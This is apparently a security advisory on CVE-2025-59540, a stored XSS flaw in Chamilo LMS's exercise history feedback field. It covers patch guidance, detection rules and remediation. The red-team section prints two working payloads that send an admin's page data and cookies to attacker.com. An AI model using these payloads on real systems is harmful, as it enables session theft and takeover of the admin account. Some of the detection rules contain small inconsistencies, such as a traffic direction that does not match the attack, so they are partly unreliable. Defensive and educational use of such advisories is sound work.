CVE-2025-59540

Executive Summary

CVE-2025-59540 is a stored cross-site scripting (XSS) vulnerability in Chamilo LMS, a widely used open-source learning management system. The flaw resides in the exercise history page, where feedback input from staff accounts is not properly encoded before being rendered. This allows a malicious staff user to inject arbitrary JavaScript into the database. When an administrator views the affected exercise history, the script executes in the context of the admin's browser, potentially leading to session hijacking, privilege escalation, or data exfiltration. The vulnerability is patched in version 1.11.34.

Supply Chain & Package Security

Chamilo LMS is a PHP-based application distributed as a complete package. The vulnerability is not in a third-party library but in the core application logic. Organizations should verify the integrity of their Chamilo installation and ensure they are using an official, signed release. No known malicious packages have been associated with this CVE.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N

• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – An attacker needs a staff-level account.
• User Interaction (UI): Required – An admin must view the malicious feedback.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – An attacker can steal session tokens or sensitive data.
• Integrity (I): High – An attacker can modify content or perform actions as the admin.
• Availability (A): None – The attack does not affect availability.

Base Score: 6.8 (Medium)

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation from staff to admin makes this a significant risk in multi-tenant or hierarchical LMS environments.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79). The attack flow is as follows:

1. Prerequisite: The attacker must have a staff account (e.g., teacher, course manager) with permission to provide feedback on student exercises.
2. Injection: The attacker submits feedback containing a malicious JavaScript payload, such as <script>alert(document.cookie)</script>. This input is stored in the database without proper sanitization or encoding.
3. Trigger: An administrator navigates to the exercise history page to review the feedback. The application retrieves the feedback from the database and renders it directly into the HTML DOM.
4. Execution: The browser interprets the injected script and executes it in the context of the admin's session. The attacker can now perform actions such as:
   • Stealing the admin's session cookie (document.cookie).
   • Making API calls to create new admin accounts.
   • Exfiltrating sensitive data (user lists, grades, etc.).
   • Defacing the platform.

The root cause is the lack of output encoding. The feedback field is likely echoed using echo $feedback; or similar, without using htmlspecialchars() or a templating engine that auto-escapes.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

// In exercise_history.php
$feedback = $database->getFeedback($exerciseId);
echo "<div class='feedback'>" . $feedback . "</div>";

Patched Code (Conceptual PHP):

// In exercise_history.php
$feedback = $database->getFeedback($exerciseId);
echo "<div class='feedback'>" . htmlspecialchars($feedback, ENT_QUOTES, 'UTF-8') . "</div>";

The patched version uses htmlspecialchars() to convert special characters (like <, >, ", ', &) into their HTML entities, preventing the browser from interpreting them as code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Chamilo LMS instance (version < 1.11.34).
• A staff account (e.g., teacher) with permission to add feedback to exercises.

Steps:

1. Log in as a staff user.
2. Navigate to a course and select an exercise submitted by a student.
3. In the feedback field, enter the following payload:

   <script>
   fetch('/main/admin/user_list.php').then(r=>r.text()).then(d=>{fetch('https://attacker.com/exfil?data='+btoa(d))});
   </script>
   

   Note: This payload exfiltrates the admin user list page. Replace attacker.com with your controlled server.
4. Submit the feedback.
5. Wait for an admin to view the exercise history. The script will execute and send the admin's data to your server.

Alternative Payload (Session Stealing):

<script>
new Image().src='https://attacker.com/steal?cookie='+document.cookie;
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor web application logs for unusual patterns in the feedback parameter, such as the presence of <script> tags or base64-encoded data.
• Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests to exercise-related endpoints.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Immediately upgrade to Chamilo LMS 1.11.34 or later.
• If immediate patching is not possible, apply a virtual patch using a WAF to filter <script> tags in feedback fields.
• Review and restrict staff permissions. Only grant feedback privileges to trusted users.
• Enable HTTP-only and Secure flags on session cookies to mitigate session theft.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains from the Chamilo server.
  • POST requests to /main/exercise/exercise_history.php (or similar) containing <script> tags.
• Host IOCs:
  • Unexpected entries in the feedback column of the exercise-related database tables containing JavaScript code.
  • New admin accounts created outside of normal procedures.
• Log IOCs:
  • Web server logs showing requests to /main/admin/user_list.php or other admin pages from non-admin IP addresses (if the XSS payload was used for privilege escalation).

Detection Engineering

YARA Rule

rule Detect_Chamilo_Stored_XSS_CVE_2025_59540 {
    meta:
        description = "Detects stored XSS payloads in Chamilo LMS feedback fields"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-59540"
    strings:
        $xss_payload = /<script[\s>]/ nocase
        $feedback_context = /feedback/i
    condition:
        $xss_payload and $feedback_context
}

Sigma Rule

title: Chamilo LMS Stored XSS in Feedback Field
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts in Chamilo LMS feedback fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'exercise_history'
        cs-uri-query|contains: 'feedback'
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in feedback (unlikely in standard configurations)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-59540 Chamilo LMS Stored XSS Feedback Exfiltration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"exercise_history"; http_uri;
    content:"feedback"; http_client_body;
    pcre:"/<script[\s>]/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-59540;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade all Chamilo LMS instances to version 1.11.34 or later. This is the only complete fix.
2. Virtual Patching: If immediate patching is not possible, deploy a WAF rule to block POST requests to exercise history pages that contain <script> tags or other XSS indicators.
3. Audit: Review all existing feedback entries in the database for malicious content. Use a database query to search for <script> patterns.

Long-Term Hardening:

• Implement a Content Security Policy (CSP) that restricts script execution to trusted sources only.
• Enforce principle of least privilege for all user roles. Staff accounts should not have unnecessary access.
• Conduct regular security training for staff and administrators on the risks of XSS.
• Integrate static application security testing (SAST) into the CI/CD pipeline to catch similar issues in custom code.

Valters IT